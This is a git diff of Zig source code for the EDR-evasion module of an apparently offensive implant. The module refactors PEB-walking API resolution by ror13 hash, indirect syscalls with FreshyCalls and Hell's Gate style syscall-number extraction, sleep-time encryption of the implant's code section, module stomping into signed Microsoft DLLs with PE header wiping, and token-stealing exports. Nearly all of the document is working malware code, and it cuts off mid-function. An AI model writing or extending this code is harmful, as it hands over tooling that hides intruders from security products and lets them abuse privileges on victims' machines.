const syscall = @import("syscall.zig"); const frames = @import("frames.zig"); @@ -48,13 +45,10 @@ export fn is_relocated() bool { return stomp.g_evasion_relocated; } -// Tell the DLL where the host implant's .text is for encrypted sleep. export fn init_text_region(base: [*]u8, size: usize) void { sleep.init_text_region(base, size); } -// DllMain calls into here from the asm trampoline. Synthetic callstack frames -// through kernel32!BaseThreadInitThunk and ntdll!RtlUserThreadStart built before us. export fn evasion_sleep_inner(ms: u32) void { ensure(); sleep.evasion_sleep(ms); @@ -77,7 +71,6 @@ export fn steal_token(pid: u32) bool { ensure(); return token.stealToken(pid); } - export fn rev2self() bool { ensure(); return token.rev2self(); diff --git a/evasion/nt.zig b/evasion/nt.zig new file mode 100644 index 0000000..72e1d6f --- /dev/null +++ b/evasion/nt.zig @@ -0,0 +1,125 @@ +const std = @import("std"); +const windows = std.os.windows; + +pub const WINAPI: std.builtin.CallingConvention = .winapi; + +// Page protection constants for NtProtectVirtualMemory. +// https://ntdoc.m417z.com/ntprotectvirtualmemory +pub const PAGE_NOACCESS: windows.ULONG = 0x01; +pub const PAGE_READONLY: windows.ULONG = 0x02; +pub const PAGE_READWRITE: windows.ULONG = 0x04; +pub const PAGE_EXECUTE_READ: windows.ULONG = 0x20; +pub const PAGE_EXECUTE_READWRITE: windows.ULONG = 0x40; + +pub const CONTEXT_DEBUG_REGISTERS: windows.DWORD = 0x00100010; +pub const EXCEPTION_SINGLE_STEP: windows.DWORD = 0x80000004; +pub const EXCEPTION_CONTINUE_EXECUTION: windows.LONG = -1; +pub const EXCEPTION_CONTINUE_SEARCH: windows.LONG = 0; + +// https://ntdoc.m417z.com/object_attributes +pub const OBJ_CASE_INSENSITIVE: windows.ULONG = 0x00000040; + +// https://ntdoc.m417z.com/unicode_string +pub const UNICODE_STRING = extern struct { + Length: u16, + MaximumLength: u16, + Buffer: [*]u16, +}; + +// https://ntdoc.m417z.com/object_attributes +pub const OBJECT_ATTRIBUTES = extern struct { + Length: windows.ULONG, + RootDirectory: ?windows.HANDLE, + ObjectName: ?*UNICODE_STRING, + Attributes: windows.ULONG, + SecurityDescriptor: ?*anyopaque, + SecurityQualityOfService: ?*anyopaque, +}; + +// https://ntdoc.m417z.com/client_id +pub const CLIENT_ID = extern struct { + UniqueProcess: windows.HANDLE, + UniqueThread: ?windows.HANDLE, +}; + +// https://ntdoc.m417z.com/token_type +pub const TOKEN_TYPE = enum(u32) { + TokenPrimary = 1, + TokenImpersonation = 2, +}; + +pub const PROCESS_QUERY_LIMITED_INFORMATION: windows.DWORD = 0x1000; +pub const MAXIMUM_ALLOWED: windows.DWORD = 0x02000000; + +// Access rights for NtOpenProcessToken. +// https://ntdoc.m417z.com/ntopenprocesstoken +pub const TOKEN_DUPLICATE: windows.DWORD = 0x0002; +pub const TOKEN_QUERY: windows.DWORD = 0x0008; +pub const TOKEN_IMPERSONATE: windows.DWORD = 0x0004; + +// https://ntdoc.m417z.com/ntopensection +pub const SECTION_MAP_READ: windows.DWORD = 0x0004; + +pub const CONTEXT = extern struct { + P1Home: windows.DWORD64, + P2Home: windows.DWORD64, + P3Home: windows.DWORD64, + P4Home: windows.DWORD64, + P5Home: windows.DWORD64, + P6Home: windows.DWORD64, + ContextFlags: windows.DWORD, + MxCsr: windows.DWORD, + SegCs: windows.WORD, + SegDs: windows.WORD, + SegEs: windows.WORD, + SegFs: windows.WORD, + SegGs: windows.WORD, + SegSs: windows.WORD, + EFlags: windows.DWORD, + Dr0: windows.DWORD64, + Dr1: windows.DWORD64, + Dr2: windows.DWORD64, + Dr3: windows.DWORD64, + Dr6: windows.DWORD64, + Dr7: windows.DWORD64, + Rax: windows.DWORD64, + Rcx: windows.DWORD64, + Rdx: windows.DWORD64, + Rbx: windows.DWORD64, + Rsp: windows.DWORD64, + Rbp: windows.DWORD64, + Rsi: windows.DWORD64, + Rdi: windows.DWORD64, + R8: windows.DWORD64, + R9: windows.DWORD64, + R10: windows.DWORD64, + R11: windows.DWORD64, + R12: windows.DWORD64, + R13: windows.DWORD64, + R14: windows.DWORD64, + R15: windows.DWORD64, + Rip: windows.DWORD64, +}; + +pub const EXCEPTION_RECORD = extern struct { + ExceptionCode: windows.DWORD, + ExceptionFlags: windows.DWORD, + ExceptionRecord: *EXCEPTION_RECORD, + ExceptionAddress: *anyopaque, + NumberParameters: windows.DWORD, + ExceptionInformation: [15]windows.ULONG_PTR, +}; + +pub const EXCEPTION_POINTERS = extern struct { + ExceptionRecord: *EXCEPTION_RECORD, + ContextRecord: *CONTEXT, +}; + +pub inline fn NT_SUCCESS(status: windows.NTSTATUS) bool { + return @as(i32, @bitCast(@intFromEnum(status))) >= 0; +} + +pub fn FALSE_BOOL() windows.BOOLEAN { + return @enumFromInt(@as(u8, 0)); +} + diff --git a/evasion/resolve.zig b/evasion/resolve.zig index 3c7e04c..ab2af3a 100644 --- a/evasion/resolve.zig +++ b/evasion/resolve.zig @@ -1,6 +1,7 @@ -// PEB-based module and function resolution, everything resolved at runtime. +// peb-based runtime api resolution. walks InMemoryOrderModuleList via gs:[0x60]. +// ror13 hash on module + export names, no GetProcAddress or GetModuleHandle needed. const std = @import("std"); -const win = @import("win32.zig"); +const windows = std.os.windows; const pe = @import("pe.zig"); pub const LIST_ENTRY = extern struct { @@ -9,10 +10,10 @@ pub const LIST_ENTRY = extern struct { }; pub const PEB_LDR_DATA = extern struct { - Length: win.ULONG, - Initialized: win.BYTE, - Padding: [3]win.BYTE, - SsHandle: win.LPVOID, + Length: windows.ULONG, + Initialized: windows.BYTE, + Padding: [3]windows.BYTE, + SsHandle: windows.LPVOID, InLoadOrderModuleList: LIST_ENTRY, InMemoryOrderModuleList: LIST_ENTRY, InInitializationOrderModuleList: LIST_ENTRY, @@ -22,23 +23,21 @@ pub const LDR_DATA_TABLE_ENTRY = extern struct { InLoadOrderLinks: LIST_ENTRY, InMemoryOrderLinks: LIST_ENTRY, InInitializationOrderLinks: LIST_ENTRY, - DllBase: win.LPVOID, - EntryPoint: win.LPVOID, - SizeOfImage: win.ULONG, - FullDllName: win.UNICODE_STRING, - BaseDllName: win.UNICODE_STRING, + DllBase: windows.LPVOID, + EntryPoint: windows.LPVOID, + SizeOfImage: windows.ULONG, + FullDllName: windows.UNICODE_STRING, + BaseDllName: windows.UNICODE_STRING, }; -// PEB at GS:0x60 on x64. pub const PEB = extern struct { - Reserved1: [2]win.BYTE, - BeingDebugged: win.BYTE, - Reserved2: [1]win.BYTE, - Reserved3: [2]win.LPVOID, + Reserved1: [2]windows.BYTE, + BeingDebugged: windows.BYTE, + Reserved2: [1]windows.BYTE, + Reserved3: [2]windows.LPVOID, Ldr: *PEB_LDR_DATA, }; -// ror13 hash, case-insensitive. pub fn hash_ror13(input: []const u8) u32 { var hash: u32 = 0; for (input) |c| { @@ -60,19 +59,18 @@ pub fn get_peb() *PEB { pub fn get_module_by_hash(hash: u32) ?*anyopaque { const peb_ptr = get_peb(); const ldr = peb_ptr.Ldr; - const head = @as(*LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList)); + const head: *LIST_ENTRY = @ptrCast(&ldr.InMemoryOrderModuleList); var entry = head.Flink; while (entry != head) : (entry = entry.Flink) { - const le: *LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks"))))); + const le: *LDR_DATA_TABLE_ENTRY = @fieldParentPtr("InMemoryOrderLinks", entry); if (le.BaseDllName.Length == 0) continue; - const buf = le.BaseDllName.Buffer; + const buf = le.BaseDllName.Buffer orelse continue; const len = le.BaseDllName.Length / 2; var mod_hash: u32 = 0; - var i: usize = 0; - while (i < len) : (i += 1) { + for (0..len) |i| { var c = buf[i]; if (c >= 'a' and c <= 'z') c -= 32; mod_hash = (mod_hash >> 13) | (mod_hash << 19); @@ -86,7 +84,9 @@ pub fn get_module_by_hash(hash: u32) ?*anyopaque { } fn resolve_forward_string(base_bytes: [*]u8, forward_rva: u32) ?*anyopaque { - const forward_str = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(forward_rva))))); + const forward_str = @as([*:0]u8, @ptrCast(@alignCast( + base_bytes + @as(usize, @intCast(forward_rva)), + ))); const str = std.mem.sliceTo(forward_str, 0); const dot_pos = std.mem.indexOfScalar(u8, str, '.') orelse return null; const dll_hash = hash_ror13(str[0..dot_pos]); @@ -96,29 +96,42 @@ fn resolve_forward_string(base_bytes: [*]u8, forward_rva: u32) ?*anyopaque { } pub fn get_func_by_hash(base: *anyopaque, func_hash: u32) ?*anyopaque { - const base_bytes = @as([*]u8, @ptrCast(base)); - const dos = @as(*pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(base_bytes))); + const base_bytes: [*]u8 = @ptrCast(base); + const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(base_bytes)); if (dos.e_magic != 0x5A4D) return null; - const nt = @as(*pe.IMAGE_NT_HEADERS64, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(dos.e_lfanew))))); + const nt: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast( + base_bytes + @as(usize, @intCast(dos.e_lfanew)), + )); if (nt.Signature != 0x00004550) return null; const export_dir = nt.OptionalHeader.DataDirectory[0]; if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return null; - const exp = @as(*pe.IMAGE_EXPORT_DIRECTORY, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(export_dir.VirtualAddress))))); + const exp: *align(1) const pe.IMAGE_EXPORT_DIRECTORY = @ptrCast(@alignCast( + base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)), + )); - if (exp.NumberOfNames == 0 or exp.AddressOfFunctions == 0 or exp.AddressOfNames == 0 or exp.AddressOfNameOrdinals == 0) return null; + if (exp.NumberOfNames == 0 or exp.AddressOfFunctions == 0 or + exp.AddressOfNames == 0 or exp.AddressOfNameOrdinals == 0) return null; - const names = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNames))))); - const funcs = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfFunctions))))); - const ords = @as([*]u16, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals))))); + const names: [*]align(1) const u32 = @ptrCast(@alignCast( + base_bytes + @as(usize, @intCast(exp.AddressOfNames)), + )); + const funcs: [*]align(1) const u32 = @ptrCast(@alignCast( + base_bytes + @as(usize, @intCast(exp.AddressOfFunctions)), + )); + const ords: [*]align(1) const u16 = @ptrCast(@alignCast( + base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals)), + )); var i: u32 = 0; while (i < exp.NumberOfNames) : (i += 1) { if (names[i] == 0) continue; - const name_ptr = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(names[i]))))); + const name_ptr: [*:0]const u8 = @ptrCast(@alignCast( + base_bytes + @as(usize, @intCast(names[i])), + )); const name = std.mem.sliceTo(name_ptr, 0); if (hash_ror13(name) == func_hash) { @@ -138,7 +151,6 @@ pub fn get_func_by_hash(base: *anyopaque, func_hash: u32) ?*anyopaque { var cached_kernel32: ?*anyopaque = null; var cached_ntdll: ?*anyopaque = null; -// Three-tier: specific module, then kernel32, then ntdll, then full PEB walk. pub fn resolve_api(module_hash: u32, func_hash: u32) ?*anyopaque { if (module_hash != 0) { if (get_module_by_hash(module_hash)) |base| { @@ -158,11 +170,11 @@ pub fn resolve_api(module_hash: u32, func_hash: u32) ?*anyopaque { const peb_ptr = get_peb(); const ldr = peb_ptr.Ldr; - const head = @as(*LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList)); + const head: *LIST_ENTRY = @ptrCast(&ldr.InMemoryOrderModuleList); var entry = head.Flink; while (entry != head) : (entry = entry.Flink) { - const le: *LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks"))))); + const le: *LDR_DATA_TABLE_ENTRY = @fieldParentPtr("InMemoryOrderLinks", entry); if (cached_kernel32) |ck| if (le.DllBase == ck) continue; if (cached_ntdll) |cn| if (le.DllBase == cn) continue; diff --git a/evasion/sleep.zig b/evasion/sleep.zig index 93c5890..64016bb 100644 --- a/evasion/sleep.zig +++ b/evasion/sleep.zig @@ -1,16 +1,16 @@ +// SystemFunction040/041 are advapi32 exports wrapping RtlEncryptMemory (kernel ChaCha20). const api = @import("api.zig"); const syscall = @import("syscall.zig"); -const win = @import("win32.zig"); +const nt = @import("nt.zig"); var g_go_text_base: ?[*]u8 = null; var g_go_text_size: usize = 0; -const RTL_ENCRYPT_MEMORY_SIZE: win.ULONG = 8; +const RTL_ENCRYPT_MEMORY_SIZE: u32 = 8; -// Pad size to multiple of RTL_ENCRYPT_MEMORY_SIZE. -fn padded_size(size: usize) win.ULONG { - const s: win.ULONG = @intCast(size); - return (s + (RTL_ENCRYPT_MEMORY_SIZE - 1)) & ~@as(win.ULONG, RTL_ENCRYPT_MEMORY_SIZE - 1); +fn padded_size(size: usize) u32 { + const s: u32 = @intCast(size); + return (s + (RTL_ENCRYPT_MEMORY_SIZE - 1)) & ~@as(u32, RTL_ENCRYPT_MEMORY_SIZE - 1); } pub fn init_text_region(base: [*]u8, size: usize) void { @@ -18,12 +18,10 @@ pub fn init_text_region(base: [*]u8, size: usize) void { g_go_text_size = size; } -// ChaCha20-encrypts .text via SystemFunction040, sleeps via NtDelayExecution, -// decrypts on wake. During sleep .text is PAGE_NOACCESS. pub fn evasion_sleep(ms: u32) void { if (g_go_text_base == null or g_go_text_size == 0) { - var interval: win.LARGE_INTEGER = -(@as(i64, @intCast(ms)) * 10000); - _ = syscall.nt_delay_execution(0, &interval); + var interval: i64 = -(@as(i64, @intCast(ms)) * 10000); + _ = syscall.nt_delay_execution(nt.FALSE_BOOL(), &interval); return; } @@ -31,23 +29,22 @@ pub fn evasion_sleep(ms: u32) void { const size = g_go_text_size; const padded = padded_size(size); - // Encrypt .text with ChaCha20 if (api.sleep_SystemFunction040) |enc| { _ = enc(base, padded, 0); } var ptr: ?*anyopaque = base; - var sz: win.SIZE_T = size; - var old: win.ULONG = 0; + var sz: usize = size; + var old: u32 = 0; _ = syscall.nt_protect_virtual_memory( syscall.nt_current_process(), &ptr, &sz, - win.PAGE_NOACCESS, + nt.PAGE_NOACCESS, &old, ); - var interval: win.LARGE_INTEGER = -(@as(i64, @intCast(ms)) * 10000); - _ = syscall.nt_delay_execution(0, &interval); + var interval: i64 = -(@as(i64, @intCast(ms)) * 10000); + _ = syscall.nt_delay_execution(nt.FALSE_BOOL(), &interval); ptr = base; sz = size; @@ -55,11 +52,10 @@ pub fn evasion_sleep(ms: u32) void { syscall.nt_current_process(), &ptr, &sz, - win.PAGE_EXECUTE_READ, + nt.PAGE_EXECUTE_READ, &old, ); - // Decrypt .text with ChaCha20 if (api.sleep_SystemFunction041) |dec| { _ = dec(base, padded, 0); } diff --git a/evasion/stomp.zig b/evasion/stomp.zig index c952938..29b670c 100644 --- a/evasion/stomp.zig +++ b/evasion/stomp.zig @@ -1,13 +1,15 @@ -// Copies .text into a signed Microsoft DLL, wipes PE headers. -// Backing-file integrity checks catch this. PE header zeroing is a known signature. -// RWX on signed Microsoft DLL triggers behavioral alert. -const win = @import("win32.zig"); +const std = @import("std"); +const windows = std.os.windows; +const nt = @import("nt.zig"); const resolve = @import("resolve.zig"); const syscall = @import("syscall.zig"); const pe = @import("pe.zig"); pub var g_evasion_relocated: bool = false; +// Overwrite a signed Microsoft DLL's .text with our .text, then zero our PE headers. +// Backing-file integrity checks catch this. PE header zeroing is a known signature. +// RWX on signed Microsoft DLL triggers behavioral alert. Minimalist, not bulletproof. pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque { const targets = [_][]const u8{ "crypt32.dll", "dwrite.dll", "msvcp_win.dll" }; @@ -15,27 +17,26 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque { const peb = resolve.get_peb(); const ldr = peb.Ldr; - const head = @as(*resolve.LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList)); + const head: *resolve.LIST_ENTRY = @ptrCast(&ldr.InMemoryOrderModuleList); var target_base: ?*anyopaque = null; var target_size: usize = 0; var entry = head.Flink; while (entry != head) : (entry = entry.Flink) { - const le: *resolve.LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(resolve.LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks"))))); + const le: *resolve.LDR_DATA_TABLE_ENTRY = @fieldParentPtr("InMemoryOrderLinks", entry); if (@intFromPtr(le.DllBase) == 0 or le.BaseDllName.Length == 0) continue; if (target_base == null) { - const buf = le.BaseDllName.Buffer; + const buf = le.BaseDllName.Buffer orelse continue; const len = le.BaseDllName.Length / 2; for (targets) |target| { if (target.len == len) { var matches = true; - var ci: usize = 0; - while (ci < len) : (ci += 1) { - var c1 = buf[ci]; - var c2 = target[ci]; + for (0..len) |i| { + var c1 = buf[i]; + var c2 = target[i]; if (c1 >= 'A' and c1 <= 'Z') c1 += 32; if (c2 >= 'A' and c2 <= 'Z') c2 += 32; if (c1 != c2) { @@ -57,20 +58,22 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque { if (target_base == null) return null; - const own_bytes = @as([*]u8, @ptrCast(our_base.?)); - const dos = @as(*const pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(own_bytes))); + const own_bytes: [*]u8 = @ptrCast(our_base.?); + const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(own_bytes)); if (dos.e_magic != 0x5A4D) return null; - const nt = @as(*const pe.IMAGE_NT_HEADERS64, @ptrCast(@alignCast(own_bytes + @as(usize, @intCast(dos.e_lfanew))))); - if (nt.Signature != 0x00004550) return null; + const nt_headers: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast( + own_bytes + @as(usize, @intCast(dos.e_lfanew)), + )); + if (nt_headers.Signature != 0x00004550) return null; const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64); - const sections = @as([*]const pe.IMAGE_SECTION_HEADER, @ptrCast(@alignCast(own_bytes + section_off))); + const sections: [*]align(1) const pe.IMAGE_SECTION_HEADER = @ptrCast(@alignCast(own_bytes + section_off)); var text_start: ?*anyopaque = null; var text_size: usize = 0; - for (0..nt.FileHeader.NumberOfSections) |i| { - if (sections[i].Name[0] == '.' and sections[i].Name[1] == 't' and sections[i].Name[2] == 'e' and sections[i].Name[3] == 'x' and sections[i].Name[4] == 't') { + for (0..nt_headers.FileHeader.NumberOfSections) |i| { + if (std.mem.eql(u8, sections[i].Name[0..5], ".text") and sections[i].Name[5] == 0) { text_start = @as(*anyopaque, @ptrCast(own_bytes + sections[i].VirtualAddress)); text_size = sections[i].VirtualSize; break; @@ -80,33 +83,33 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque { if (text_start == null or text_size == 0) return null; var target_mut: ?*anyopaque = target_base; - var region_size: win.SIZE_T = target_size; - var old_prot: win.ULONG = 0; + var region_size: windows.SIZE_T = target_size; + var old_prot: windows.ULONG = 0; const st = syscall.nt_protect_virtual_memory( syscall.nt_current_process(), &target_mut, ®ion_size, - win.PAGE_EXECUTE_READWRITE, + nt.PAGE_EXECUTE_READWRITE, &old_prot, ); - if (!win.NT_SUCCESS(st)) return null; + if (!nt.NT_SUCCESS(st)) return null; - const dest = @as([*]u8, @ptrCast(target_mut orelse target_base.?)); - const src = @as([*]const u8, @ptrCast(text_start.?)); + const dest: [*]u8 = @ptrCast(target_mut orelse target_base.?); + const src: [*]const u8 = @ptrCast(text_start.?); @memcpy(dest[0..text_size], src[0..text_size]); var restore_mut: ?*anyopaque = target_mut orelse target_base.?; - var restore_size: win.SIZE_T = target_size; - var new_old: win.ULONG = 0; + var restore_size: windows.SIZE_T = target_size; + var new_old: windows.ULONG = 0; _ = syscall.nt_protect_virtual_memory( syscall.nt_current_process(), &restore_mut, &restore_size, - win.PAGE_EXECUTE_READ, + nt.PAGE_EXECUTE_READ, &new_old, ); - const old_bytes = @as([*]u8, @ptrCast(our_base.?)); + const old_bytes: [*]u8 = @ptrCast(our_base.?); const e_lfanew = dos.e_lfanew; @memset(old_bytes[0..64], 0); @memset(old_bytes[@as(usize, @intCast(e_lfanew)) .. @as(usize, @intCast(e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64)], 0); diff --git a/evasion/syscall.zig b/evasion/syscall.zig index a14d1dc..f73dbc8 100644 --- a/evasion/syscall.zig +++ b/evasion/syscall.zig @@ -1,7 +1,18 @@ // Syscall dispatch, SSN extraction, indirect syscalls. const std = @import("std"); -const win = @import("win32.zig"); +const windows = std.os.windows; +const nt = @import("nt.zig"); const resolve = @import("resolve.zig"); +const pe = @import("pe.zig"); + +const FRESHY_MAX: usize = 1024; +const FreshyEntry = struct { hash: u32, rva: u32 }; + +pub const RUNTIME_FUNCTION = extern struct { + BeginAddress: u32, + EndAddress: u32, + UnwindInfoAddress: u32, +}; var g_syscall_addrs: [64]usize = [_]usize{0} ** 64; var g_syscall_count: usize = 0; @@ -9,82 +20,71 @@ var g_ntdll_base: ?*anyopaque = null; var g_init_done: bool = false; var g_rand_state: u64 = 0; -// FreshyCalls table, ntdll Nt* exports sorted by RVA. SSN = sort position. -const FRESHY_MAX: usize = 1024; -const FreshyEntry = struct { hash: u32, rva: u32 }; var g_freshy_entries: [FRESHY_MAX]FreshyEntry = undefined; var g_freshy_count: usize = 0; var g_freshy_ready: bool = false; var g_fake_return_addr: usize = 0; - -extern fn hells_gate(ssn: u32, syscall_addr: usize, fake_return: usize) void; -extern fn hell_descent(a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, a6: usize, a7: usize, a8: usize, a9: usize, a10: usize, a11: usize) usize; - -pub fn xorshift64() u64 { - var state = g_rand_state; - state ^= state << 13; - state ^= state >> 7; - state ^= state << 17; - g_rand_state = state; - return state; -} - var g_ntdll_size: usize = 0; pub var g_exc_begin: usize = 0; pub var g_exc_count: usize = 0; -// FreshyCalls table builder. Walks ntdll export directory, collects Nt* exports -// with real code addresses. Sorts by RVA ascending. SSN = sort position. -// Immune to inline hooking, EDRs cannot change linker RVA order. +extern fn hells_gate(ssn: u32, syscall_addr: usize, fake_return: usize) void; +extern fn hell_descent(a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, a6: usize, a7: usize, a8: usize, a9: usize, a10: usize, a11: usize) usize; + +// xorshift64 PRNG for gadget selection. +pub fn xorshift64() u64 { + var s = g_rand_state; + s ^= s << 13; + s ^= s >> 7; + s ^= s << 17; + g_rand_state = s; + return s; +} + +// FreshyCalls: SSN = sort index, immune to inline hooks. fn build_freshy_table() void { const base = g_ntdll_base orelse return; - const base_bytes = @as([*]u8, @ptrCast(base)); - const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@constCast(base_bytes))); + const base_bytes: [*]u8 = @ptrCast(base); + const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(base_bytes)); if (dos.e_magic != 0x5A4D) return; - const NT_SIGNATURE: u32 = 0x00004550; - const nt = @as(*align(1) extern struct { - Signature: u32, - FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 }, - OptionalHeader: extern struct { Magic: u16, pad1: [110]u8, DataDirectory: [16]extern struct { VirtualAddress: u32, Size: u32 } }, - }, @ptrCast(@constCast(base_bytes + @as(usize, @intCast(dos.e_lfanew))))); - if (nt.Signature != NT_SIGNATURE) return; - const export_dir = nt.OptionalHeader.DataDirectory[0]; + const nt_hdrs: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast( + base_bytes + @as(usize, @intCast(dos.e_lfanew)), + )); + if (nt_hdrs.Signature != 0x00004550) return; + + const export_dir = nt_hdrs.OptionalHeader.DataDirectory[0]; if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return; - const exp = @as(*align(1) extern struct { - Characteristics: u32, - TimeDateStamp: u32, - MajorVersion: u16, - MinorVersion: u16, - Name: u32, - Base: u32, - NumberOfFunctions: u32, - NumberOfNames: u32, - AddressOfFunctions: u32, - AddressOfNames: u32, - AddressOfNameOrdinals: u32, - }, @ptrCast(@constCast(base_bytes + @as(usize, @intCast(export_dir.VirtualAddress))))); + const exp: *align(1) const pe.IMAGE_EXPORT_DIRECTORY = @ptrCast(@alignCast( + base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)), + )); if (exp.NumberOfNames == 0) return; - const names = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNames))))); - const funcs = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfFunctions))))); - const ords = @as([*]u16, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals))))); + const names: [*]align(1) const u32 = @ptrCast(@alignCast( + base_bytes + @as(usize, @intCast(exp.AddressOfNames)), + )); + const funcs: [*]align(1) const u32 = @ptrCast(@alignCast( + base_bytes + @as(usize, @intCast(exp.AddressOfFunctions)), + )); + const ords: [*]align(1) const u16 = @ptrCast(@alignCast( + base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals)), + )); g_freshy_count = 0; const export_dir_end = export_dir.VirtualAddress + export_dir.Size; var i: u32 = 0; while (i < exp.NumberOfNames and g_freshy_count < FRESHY_MAX) : (i += 1) { - const name_ptr = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(names[i]))))); + const name_ptr: [*:0]const u8 = @ptrCast(@alignCast( + base_bytes + @as(usize, @intCast(names[i])), + )); const name = std.mem.sliceTo(name_ptr, 0); - // Only Nt* exports, Zw* shares identical SSNs and would produce duplicates if (name.len < 2 or name[0] != 'N' or name[1] != 't') continue; const ordinal = ords[i]; if (ordinal >= exp.NumberOfFunctions) continue; const rva = funcs[ordinal]; - // Skip forwarded exports, RVAs point inside the export directory if (rva >= export_dir.VirtualAddress and rva < export_dir_end) continue; g_freshy_entries[g_freshy_count] = FreshyEntry{ @@ -94,27 +94,14 @@ fn build_freshy_table() void { g_freshy_count += 1; } - // Sort by RVA ascending, SSN = position in sorted order - if (g_freshy_count > 1) { - var bubble_i: usize = 0; - while (bubble_i < g_freshy_count - 1) : (bubble_i += 1) { - var swapped = false; - var bubble_j: usize = 0; - while (bubble_j < g_freshy_count - 1 - bubble_i) : (bubble_j += 1) { - if (g_freshy_entries[bubble_j].rva > g_freshy_entries[bubble_j + 1].rva) { - const tmp = g_freshy_entries[bubble_j]; - g_freshy_entries[bubble_j] = g_freshy_entries[bubble_j + 1]; - g_freshy_entries[bubble_j + 1] = tmp; - swapped = true; - } - } - if (!swapped) break; + std.mem.sort(FreshyEntry, g_freshy_entries[0..g_freshy_count], {}, struct { + fn lt(_: void, a: FreshyEntry, b: FreshyEntry) bool { + return a.rva < b.rva; } - } + }.lt); g_freshy_ready = true; } -// FreshyCalls lookup, linear scan by hash in sorted table. Returns SSN. fn extract_ssn_freshy(func_hash: u32) ?u16 { if (!g_freshy_ready) return null; for (0..g_freshy_count) |i| { @@ -125,27 +112,19 @@ fn extract_ssn_freshy(func_hash: u32) ?u16 { return null; } -pub const RUNTIME_FUNCTION = extern struct { - BeginAddress: u32, - EndAddress: u32, - UnwindInfoAddress: u32, -}; - -// Falls back to HAL's Gate, binary search exception directory with 0xB8 scan. +// Extract SSN. FreshyCalls first, falls back to .pdata binary search + 0xB8 scan. pub fn extract_ssn(func_hash: u32) ?u16 { if (!init_syscall()) return null; - if (extract_ssn_freshy(func_hash)) |ssn| return ssn; - const base = g_ntdll_base orelse return null; const func_addr = resolve.get_func_by_hash(base, func_hash) orelse return null; const func_addr_base = @intFromPtr(func_addr); const base_addr = @intFromPtr(base); const in_ntdll = func_addr_base >= base_addr and func_addr_base < base_addr + g_ntdll_size; if (!in_ntdll) return null; - const func_rva = @as(u32, @intCast(func_addr_base - base_addr)); + const func_rva: u32 = @intCast(func_addr_base - base_addr); if (g_exc_count == 0) return null; - const funcs = @as([*]align(1) const RUNTIME_FUNCTION, @ptrFromInt(g_exc_begin)); + const funcs: [*]align(1) const RUNTIME_FUNCTION = @ptrFromInt(g_exc_begin); var lo: usize = 0; var hi: usize = g_exc_count; while (lo < hi) { @@ -158,10 +137,11 @@ pub fn extract_ssn(func_hash: u32) ?u16 { } else { const start_rva = entry.BeginAddress; const end_rva = entry.EndAddress; - const scan_bytes = @as([*]const u8, @ptrCast(@as([*]u8, @ptrCast(base)) + start_rva)); + const scan_bytes: [*]const u8 = @ptrCast(@as([*]u8, @ptrCast(base)) + start_rva); const scan_len = @min(end_rva - start_rva, 96); - var j: usize = 4; - while (j < scan_len) : (j += 1) { + var j: usize = 0; + while (j + 4 < scan_len) : (j += 1) { + // 0xB8 = "mov eax, imm32" — the SSN follows in the next 4 bytes if (scan_bytes[j] == 0xB8) { const ssn = std.mem.readInt(u32, scan_bytes[j + 1 ..][0..4], .little); if ((ssn & 0xFFFF0000) == 0 and ssn > 0 and ssn < 0x1000) { @@ -175,85 +155,81 @@ pub fn extract_ssn(func_hash: u32) ?u16 { return null; } -// Seeds PRNG, builds FreshyCalls table, caches exception directory. -// Runs once, subsequent calls no-op. +// Seed PRNG, scan ntdll .text for syscall;ret gadgets + standalone ret, +// cache .pdata bounds, build FreshyCalls table. Runs once. pub fn init_syscall() bool { if (g_init_done and 